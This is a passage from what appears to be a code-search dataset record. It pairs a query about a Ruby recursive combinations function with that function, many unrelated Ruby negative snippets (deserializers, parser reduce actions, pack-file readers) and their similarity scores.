_deserialize(type, attributes[self.class.attribute_map[key]])) # // guardrails-disable-line\n end\n end\n\n self\n end",
"def structs\n @__structs__ ||= Structs.new(registry, struct_namespace)\n end",
"def indifferent_dig hsh, keys\n keys.reduce(hsh) do |nested, key|\n next nil unless nested\n\n case key\n when String\n nested.key?(key) ? nested[key] : nested[key.intern]\n when Symbol\n nested.key?(key) ? nested[key] : nested[key.to_s]\n else\n nested[key]\n end # case\n end # method reduce\n end",
"def object_for_hash(given_hash)\n @opener.open(name, \"r\") do |fp|\n given_hash.force_encoding(\"ASCII-8BIT\") if given_hash.respond_to?(:force_encoding)\n entry = nil\n if index\n starting_at = index.offset_for_hash(given_hash)\n return PackFileEntry.at(starting_at, fp).to_raw_object\n else\n starting_at = cached_offset(given_hash) || DATA_START_OFFSET\n fp.seek(starting_at, IO::SEEK_SET)\n while fp.tell < @end_of_data\n entry = PackFileEntry.read(fp)\n cache_entry(entry)\n return entry.to_raw_object if entry.hash_id == given_hash\n end\n end\n end\n nil\n end",
"def hiqnet_address\r\n address ||= OpenStruct.new(\r\n node: 0x1002,\r\n virtual_device: 0x03,\r\n object: 0x000147,\r\n sv: 0x0000\r\n ).tap do |o|\r\n o.define_singleton_method(:to_a) {\r\n [\r\n node >> 8 & 0xFF, node & 0xFF,\r\n virtual_device,\r\n object >> 16 & 0xFF, object >> 8 & 0xFF, object & 0xFF,\r\n sv >> 8 & 0xFF, sv & 0xFF\r\n ]\r\n }\r\n end\r\nend",
"def deserialize_object(definition, hash)\n return nil if hash.nil?\n result = definition.new\n result.__fields.each do |field|\n name = field.key_json || name_to_json(field.sym)\n\n if field.options[:as] == :list\n value = deserialize_list(hash[name], field)\n elsif field.options[:as] == :dto\n value = deserialize_object(field.options[:of], hash[name])\n else\n value = hash[name]\n end\n\n next if value.nil?\n\n result.send(\"#{field.key_ruby}=\", value)\n end\n result\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def awesome_mongoid_instance(object)\n keys = (object.fields.keys + object.attributes.keys).uniq\n data = keys.inject(ActiveSupport::OrderedHash.new) do |hash, name|\n hash[name.to_sym] = object.send(name) if object.respond_to?(name)\n hash\n end\n \"#{object} \" + awesome_hash(data)\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end",
"def build_from_hash(attributes)\n return nil unless attributes.is_a?(Hash)\n attributes = attributes.transform_keys(&:to_sym)\n self.class.openapi_types.each_pair do |key, type|\n if attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)\n self.send(\"#{key}=\", nil)\n elsif type =~ /\\AArray<(.*)>/i\n # check to ensure the input is an array given that the attribute\n # is documented as an array but the input is not\n if attributes[self.class.attribute_map[key]].is_a?(Array)\n self.send(\"#{key}=\", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })\n end\n elsif !attributes[self.class.attribute_map[key]].nil?\n self.send(\"#{key}=\", _deserialize(type, attributes[self.class.attribute_map[key]]))\n end\n end\n\n self\n end"
] |
[
"0.67353827",
"0.66664326",
"0.66274494",
"0.6583433",
"0.6532927",
"0.64831895",
"0.64831895",
"0.6376638",
"0.6287113",
"0.6285097",
"0.6210139",
"0.61592805",
"0.5975898",
"0.5962704",
"0.5851432",
"0.5846276",
"0.58368737",
"0.56753796",
"0.56401217",
"0.5583778",
"0.5417185",
"0.532517",
"0.5306464",
"0.52866316",
"0.5247613",
"0.5224805",
"0.5218047",
"0.5209947",
"0.5200013",
"0.51961976",
"0.5194334",
"0.5193663",
"0.5193663",
"0.516832",
"0.51644987",
"0.5151262",
"0.5148839",
"0.51407546",
"0.5129425",
"0.51122725",
"0.5109508",
"0.510334",
"0.50889397",
"0.5084121",
"0.5082034",
"0.50796884",
"0.50613546",
"0.50550854",
"0.5054271",
"0.50440305",
"0.5043865",
"0.50357014",
"0.50318986",
"0.50318986",
"0.5027492",
"0.5017074",
"0.5006701",
"0.4986572",
"0.49722067",
"0.49722067",
"0.49718457",
"0.49620077",
"0.495063",
"0.4882371",
"0.48819533",
"0.4881211",
"0.48745435",
"0.48698634",
"0.4861092",
"0.4861092",
"0.4853949",
"0.48409882",
"0.48406368",
"0.48368108",
"0.4831271",
"0.48227203",
"0.47984362",
"0.4796483",
"0.4796483",
"0.4796483",
"0.4796483",
"0.4796483",
"0.4796483",
"0.4796483",
"0.4796483",
"0.47917292",
"0.47891444",
"0.47796667",
"0.47679427",
"0.47647595",
"0.47643",
"0.47643",
"0.47628993",
"0.47597805",
"0.47597805",
"0.47597805",
"0.47597805",
"0.47597805",
"0.47597805",
"0.47597805",
"0.47597805"
] |
0.0
|
-1
|
current prod and iterator ruby needs to pass res and nums eventho theyd be inscope for js/py
|
def recurse(curr, k, nums, res, start)
# add, recurse, undo
# basically forcing a base case
if k == 0
res << curr[0..-1]
return
end
# start elims duplicates (like [3, 2] [2, 3])
i = start
while i < nums.length
curr << nums[i]
recurse(curr, k - 1, nums, res, i + 1)
curr.pop
i+=1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _reduce_13(val, _values, result)\n @handler.start_object \n result\nend",
"def results=(_arg0); end",
"def results=(_arg0); end",
"def next_result()\n #This is a stub, used for indexing\n end",
"def workload\n [@nodeid,@data.count]\n end",
"def _reduce_496(val, _values, result)\n @static_env.declare val[0][0]\n\n result = @builder.arg(val[0])\n \n result\nend",
"def _reduce_336(val, _values, result)\n @static_env.declare val[0][0]\n\n result = @builder.arg(val[0])\n \n result\nend",
"def _reduce_562(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_561(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_683(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_697(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n\n result\nend",
"def main\n \n # make Resuspended Library items\n operations.make\n \n # get quantities before resuspending\n operations.each { |op| op.temporary[:pmole] = op.input(POOL).item.get(:pmole) }\n no_pmole=operations.select { |op| op.temporary[:pmole].nil? }\n if(no_pmole.any?)\n data = show {\n title \"Verify Lyopholized #{OLIGO_POOL} Quantities\"\n note \"The following libraries have no parameters specified. Please enter manually:\"\n table no_pmole.start_table\n .input_item(POOL)\n .get(:pmole, type: 'number', heading: \"Quantity (pmole)\", default: DEFAULT_PMOLE) \n .end_table\n }\n end\n operations.each { |op| \n op.input(POOL).item.associate :pmole, op.temporary[:pmole].to_f \n op.output(OUT_HIGH).item.associate :concentration, TARGET_CONC_NG_PER_UL\n op.output(OUT_LOW).item.associate :concentration, LOW_CONC_NG_PER_UL\n }\n \n # get sublib parameters\n operations.each { |op|\n min_tot=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).map {|x| x.to_f}.sum\n max_tot=op.input(POOL).item.sample.properties.fetch(MAX_LENGTH).map {|x| x.to_f}.sum\n variants_tot=op.input(POOL).item.sample.properties.fetch(VARIANTS).map {|x| x.to_f}.sum\n num_sublibs=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).length\n op.temporary[:variants]=variants_tot\n op.temporary[:length]=(0.5*(max_tot+min_tot)/num_sublibs).round\n op.temporary[:sublibs]=num_sublibs\n }\n \n # show user the info for the library BEFORE resuspending\n show {\n title \"Check #{OLIGO_POOL} Parameters before resuspension\"\n table operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"mean length (nt)\") { |op| op.temporary[:length] }\n .custom_column(heading: \"variants\") { |op| op.temporary[:variants] }\n .custom_column(heading: \"number of sublibraries\") { |op| op.temporary[:sublibs] }\n .custom_column(heading: \"quantity (pmole)\") { |op| {content: op.temporary[:pmole], check: true} }\n .end_table\n warning \"Quantity (pmole) determines the resuspension volume!\"\n }\n \n # resuspend\n show {\n title \"Resuspend Lyopholized #{OLIGO_POOL}s\"\n check \"Spin down all lyopholized oligo pools at #{SPIN[:qty]} #{SPIN[:units]} for #{SPIN_TIME[:qty]} #{SPIN_TIME[:units]}\"\n note \"Add #{WATER[:name]} from a <b>NEW</b> aliquot directly to the lyopholized oligo pool, according to the following:\"\n table operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| \n (op.input(POOL).item.get(:pmole).to_f*op.temporary[:length]*DNA_NG_PER_NT_PER_PICOMOLE/TARGET_CONC_NG_PER_UL).round(2) }\n .output_item(OUT_HIGH) \n .end_table\n check \"Vortex well and spin down\"\n check \"Leave on bench for #{WAIT[:qty]} #{WAIT[:units]}\"\n check \"Vortex well and spin down\"\n check \"Relabel original tubes, without covering any manufacturer information, according to the final column of the table (above).\"\n }\n \n # dilute\n fac=(TARGET_CONC_NG_PER_UL.to_f/LOW_CONC_NG_PER_UL)-1\n lib_volume=(DILUTION_VOL[:qty].to_f/fac).round(2)\n show {\n title \"Dilute Resuspended #{OLIGO_POOL}s\"\n check \"Label #{operations.length} #{TUBE}s: #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence}\"\n note \"Add #{WATER[:name]} and resuspended library volumes according to the following:\"\n table operations.start_table\n .output_item(OUT_LOW)\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| {content: DILUTION_VOL[:qty], check: true} }\n .custom_column(heading: \"Resuspended Oligo Pool\") { |op| \"#{op.output(OUT_HIGH).item}\" }\n .custom_column(heading: \"Oligo Pool volume (#{DILUTION_VOL[:units]})\") { |op| {content: lib_volume, check: true} }\n .end_table\n check \"Vortex #{TUBE}s #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence} and spin down\"\n }\n \n # create sublibraries (DNA Library **Samples**)\n tab=[]\n tab[0]=[\"#{OLIGO_POOL}\",\"#{DNA_LIB}\"]\n ind=1\n operations.each { |op| \n props=op.input(POOL).item.sample.properties\n props.fetch(NAMES).each_with_index { |name, i|\n s=Sample.find_by_name(name) # check if already created\n if(s.nil?) # create if needed\n create_DNA_Library(name, \"created #{Time.zone.now.to_date}\", PROJECT, op.plan.user.id)\n check = Sample.find_by_name(name) # check if valid Sample \n if(check.nil?) # no valid Sample created\n show { note \"Problem creating Sample #{name}, please check!\"} \n else\n tab[ind]=[op.input(POOL).item.sample.name, name]\n ind=ind+1\n end\n else\n show { note \"Sample #{name} already exists, please check!\"} \n end\n }\n }\n if(ind > 1) # have new Samples to display \n show {\n title \"DNA Library Samples Created\"\n note \"The following #{DNA_LIB} Samples were created for the #{OLIGO_POOL}s:\"\n table tab\n note \"Please check that no DNA Library Samples are missing!\"\n }\n end\n \n # delete lyopholized stuff\n operations.each { |op| \n op.input(POOL).item.mark_as_deleted\n }\n \n # store resuspended stuff \n operations.store\n \n return {}\n \n end",
"def _reduce_562(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n\n result\nend",
"def inlet(inlet_index, *params)\r\n out0 'product', params.inject(:*) \r\nend",
"def process_iter(exp)\n call = exp.shift # the method call to which the iterator is passed\n params = exp.shift # arguments of the block\n code = exp.shift # the code block\n\n old_iter_dvars = @current_iter_dvars\n @current_iter_dvars = Set.new \n @block_whileloop_stack.push(:iter)\n \n # Get an argument name for the iterator function signature.\n arg_name = @model.encode_fresh_local_variable()\n\n fun_str = \"\"\n asgn_str = \"\"\n \n if params.nil? \n # Case 1: {}: Any number of arguments may be passed\n arity = -1\n fun_str << \"function(){\"\n elsif params == 0\n # Case 2: {||}: Zero arguments\n arity = 0\n fun_str << \"function(){\"\n elsif params.first == :masgn\n # Case 3: {|i,j|}: Multiple arguments (multiple assignment)\n arity = nil # |arity| >= 2 \n fun_str << \"function(#{arg_name}){\"\n\n # TODO: remove masgn_iter and instead put the corresponding logic\n # into yield!\n masgn_iter = @model.encode_globalattr(\"masgn_iter\")\n params << [:to_ary, [:special_to_ary, \"#{masgn_iter}(#{arg_name})\"]]\n want_expression(false) do\n without_result do\n asgn_str << process(params) \n end\n end\n else\n # Case 4: {|i|}: Single argument\n # TODO: warning if not exactly one argument is passed \n arity = 1\n fun_str << \"function(#{arg_name}){\"\n\n # we convert a single argument into a multiple assignment clause\n # with one argument.\n\n sasgn_iter = @model.encode_globalattr(\"sasgn_iter\")\n params << [:special_inline_js_value, \"#{arg_name}==null?#{@model.encode_nil}:#{arg_name}\"]\n\n want_expression(false) do\n without_result do\n asgn_str << process(params) \n end\n end\n end\n\n old_result_name = @result_name\n @result_name = nil\n\n block_str = \"\"\n want_expression(false) do\n want_result do\n block_str << process(code) if code\n end\n end\n\n # generate code for the variable declarations\n var_str = \"\"\n unless @current_iter_dvars.empty?\n var_str << \"var \"\n var_str << @current_iter_dvars.to_a.join(\",\")\n var_str << sep()\n end\n\n # declare and initialize the return value\n if @result_name\n var_str << \"var #{@result_name}=#{@model.encode_nil}#{sep()}\"\n end\n\n # NOTE: we don't need to initialize any dvar to nil, as \n # they can't be used before being assigned to (because\n # otherwise they are vcall's and not dynamic variables). \n\n str = fun_str + var_str + asgn_str + sep() + block_str\n str << \"#{sep()}return #{@result_name}\" if @result_name\n str << \"}\"\n\n put_iter(str)\n\n @result_name = old_result_name\n @current_iter_dvars = old_iter_dvars\n @block_whileloop_stack.pop || raise\n\n return process(call)\n end",
"def _reduce_682(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_564(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_560(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_695(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_556(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_568(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_670(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_458(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_508(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_667(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_563(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_556(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n\n result\nend",
"def _reduce_686(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def getInts(pep)\n rt_helper = RetentionTime::Helper\n pep_id = pep[0]\n p_int = pep[7] + rt_helper.RandomFloat(-5,2)\n if p_int > 10\n p_int -= 10\n end\n predicted_int = (p_int * 10**-1) * 14183000.0 \n low = 0.1*predicted_int\n relative_ints = (@db.execute \"SELECT ints FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n core_mzs = (@db.execute \"SELECT mzs FROM core_spec WHERE pep_id=#{pep_id}\").flatten[0].gsub(/\\[/,\"\").split(/,/).map{|val| val.to_f}\n avg = pep[5] #p_rt\n\n sampling_rate = @opts[:sampling_rate].to_f\n wobA = Distribution::Normal.rng(@opts[:wobA].to_f,0.0114199604).call #0.0014199604 is the standard deviation from Hek_cells_100904050914 file\n wobB = Distribution::Normal.rng(@opts[:wobB].to_f,0.01740082).call #1.20280082 is the standard deviation from Hek_cells_100904050914 file\n tail = Distribution::Normal.rng(@opts[:tail].to_f,0.018667495).call #0.258667495 is the standard deviation from Hek_cells_100904050914 file\n front = Distribution::Normal.rng(@opts[:front].to_f,0.01466692).call #4.83466692 is the standard deviation from Hek_cells_100904050914 file\n # These number didn't work. May need to get more samples or figure something else out. For now this will give us some\n # meta variance in any case\n mu = @opts[:mu].to_f\n\n index = 0\n sx = pep[9]\n sy = (sx**-1) * Math.sqrt(pep[8]) #abu\n\n shuff = rt_helper.RandomFloat(0.05,1.0)\n core_mzs.each_with_index do |mzmu,core_idx|\n\n relative_abundances_int = relative_ints[index]\n\n t_index = 1\n\n (Mspire::Simulator::Spectra::r_times[pep[10]..pep[11]]).each_with_index do |rt,i| \n\n\n if !@one_d\n #-------------Tailing-------------------------\n shape = (tail * (t_index / sx)) + front\n int = (rt_helper.gaussian((t_index / sx) ,mu ,shape,100.0))\n t_index += 1\n #---------------------------------------------\n\n else\n #-----------Random 1d data--------------------\n int = (relative_abundances_int * ints_factor) * shuff\n #---------------------------------------------\n end\n\n if int < 0.01\n int = rt_helper.RandomFloat(0.001,0.4)\n end\n\n=begin\n if !@one_d\n #-------------M/Z Peak shape (Profile?)-------\n fraction = rt_helper.gaussian(fin_mzs[i],mzmu,0.05,1)\n factor = fraction/1.0\n fin_ints[i] = fin_ints[i] * factor\n #---------------------------------------------\n end\n=end\t \n\n if int > 0.4\n #-------------Jagged-ness---------------------\n sd = (@opts[:jagA] * (1-Math.exp(-(@opts[:jagC]) * int)) + @opts[:jagB])/2\n diff = (Distribution::Normal.rng(0,sd).call)\n int += diff\n #---------------------------------------------\n end\n\n #-------------mz wobble-----------------------\n wobble_mz = nil\n if int > 0\n wobble_int = wobA*int**wobB\n wobble_mz = Distribution::Normal.rng(mzmu,wobble_int).call\n if wobble_mz < 0\n wobble_mz = 0.01\n end\n end\n #---------------------------------------------\n\n\n int = int*(predicted_int*(relative_abundances_int*10**-2)) * sy\n if int > low.abs and wobble_mz > 0\n @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL,#{core_idx})\"\n# @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL)\"\n @cent_id += 1\n if @max_mz < wobble_mz\n @max_mz = wobble_mz\n end\n end\n end\n index += 1\n end\n end",
"def _reduce_554(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def results; end",
"def results; end",
"def results; end",
"def _reduce_687(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_674(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_670(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n\n result\nend",
"def _reduce_699(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_565(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_564(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def request_res_index(*args)\n @res_index\n end",
"def _reduce_566(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_462(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_560(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_572(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_578(val, _values, result)\n yyerrok \n result\nend",
"def _reduce_668(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_674(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n\n result\nend",
"def _reduce_559(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_464(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n\n result\nend",
"def _reduce_515(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_516(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n\n result\nend",
"def _reduce_701(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n\n result\nend",
"def _reduce_568(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_513(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n \n result\nend",
"def _reduce_566(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n\n result\nend",
"def _reduce_560(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n\n result\nend",
"def _reduce_558(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def iterate_reduce\n accu = 0\n self.list.each do |elem|\n accu = accu + elem\n end\n\n accu\n end",
"def _reduce_460(val, _values, result)\n @static_env.declare val[1][0]\n\n result = [ @builder.restarg(val[0], val[1]) ]\n\n result\nend",
"def _reduce_781(val, _values, result)\n yyerrok\n result\nend",
"def get_price_of_the_product(q)\n@pricebid=nil\n$LOG.info('get_price_of_the_product');\n@CID=q[\"USER\"];\n@PID=q[\"PRODUCT\"];\n@product=get_product(@PID)\n\n$LOG.info(@PID.to_s()+' - '[email protected]_s());\n\nif (@product != nil)\n@pricebid=@product[\"DEFPRICE\"]\n@vid=@product[\"VID\"]\n\n$LOG.info(@vid.to_s()+' - '[email protected]_s());\n\n@contracts=get_contracts_by_vendor(@vid); # GET all contracts of vendor\n@contract=@contracts[@CID]\n\n$LOG.info(' contract => '[email protected]_s());\n\nif (@contract!=nil) # User has contract with vendor\n# CONTRACT EXISTS - IT'S OK TO PUT PRICE \n@prices=get_prices_for_the_product(@PID) \n@pricebid=nil;\nif (@prices != nil)\n@pricebid0=@prices[@CID]\nif (@pricebid0 != nil)\n@pricebid=@pricebid0\nend\nend\nend\n\n\n \nend\n\n$LOG.info(' RESULT => '[email protected]_s());\n\n@pricebid\nend",
"def results(progA, progB); @results[@progs[progA], @progs[progB]]; end",
"def _reduce_671(val, _values, result)\n @static_env.declare val[1][0]\n\n result = @builder.blockarg(val[0], val[1])\n \n result\nend",
"def _reduce_643(val, _values, result)\n yyerrok\n result\nend",
"def _reduce_643(val, _values, result)\n yyerrok\n result\nend",
